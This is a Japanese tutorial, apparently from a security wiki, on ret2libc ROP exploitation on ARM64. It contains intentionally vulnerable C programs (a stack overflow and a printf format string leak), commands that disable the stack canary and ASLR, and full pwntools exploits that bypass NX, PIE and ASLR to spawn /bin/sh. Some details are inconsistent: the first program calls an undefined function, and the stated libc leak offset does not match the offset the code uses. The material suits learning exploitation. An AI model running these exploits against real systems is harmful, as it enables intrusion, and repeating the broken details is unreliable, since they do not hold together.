Ret2lib - ROPを使用したNXバイパス（ASLRなし）
#include <stdio.h>
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
}
コンパイル時にカナリアを無効にする:
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
オフセットを見つける
x30 オフセット
pattern create 200 を使ってパターンを作成し、pattern search $x30 でオフセットを確認すると、オフセットは 108 (0x6c) であることがわかります。
分解されたメイン関数を見てみると、printf に直接ジャンプする命令にジャンプしたいことがわかります。そのオフセットはバイナリがロードされる場所から 0x860 です：
system と /bin/sh 文字列を見つける
ASLR が無効になっているため、アドレスは常に同じになります：
ガジェットを見つける
x0 に /bin/sh 文字列のアドレスを持たせ、system を呼び出す必要があります。
rooper を使用して、興味深いガジェットが見つかりました：
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
このガジェットは、$sp + 0x18 から x0 をロードし、その後 sp から x29 と x30 のアドレスをロードして x30 にジャンプします。したがって、このガジェットを使用すると、最初の引数を制御し、その後 system にジャンプできます。
Exploit
from pwn import *
from time import sleep
p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]
def expl_bof(payload):
p.recv()
p.sendline(payload)
# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)
payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)
p.interactive()
p.close()
Ret2lib - NX, ASL & PIE バイパスとスタックからの printf リーク
#include <stdio.h>
void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
}
カナリアなしでコンパイル:
clang -o rop rop.c -fno-stack-protector -Wno-format-security
PIEとASLRだがカナリアなし
Printfリーク
printfを呼び出す前にブレークポイントを設定すると、スタックにバイナリに戻るためのアドレスとlibcのアドレスがあることがわかります:
異なるオフセットを試すと、**%21$pはバイナリアドレス（PIEバイパス）をリークし、%25$p**はlibcアドレスをリークできます:
リークされたlibcアドレスからlibcのベースアドレスを引くと、リークされたアドレスのベースからのオフセットは0x49c40であることがわかります。
x30オフセット
bofが同じであるため、前の例を参照してください。
ガジェットを見つける
前の例と同様に、**x0に文字列/bin/shのアドレスを持ち、system**を呼び出す必要があります。
rooperを使用して、別の興味深いガジェットが見つかりました:
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
このガジェットは、$sp + 0x78 から x0 をロードし、その後 sp から x29 と x30 のアドレスをロードして x30 にジャンプします。したがって、このガジェットを使用すると、最初の引数を制御し、その後 system にジャンプすることができます。
Exploit
from pwn import *
from time import sleep
p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)
def expl_bof(payload):
p.recv()
p.sendline(payload)
# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")
# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)
# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]
# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)
payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)
p.interactive()
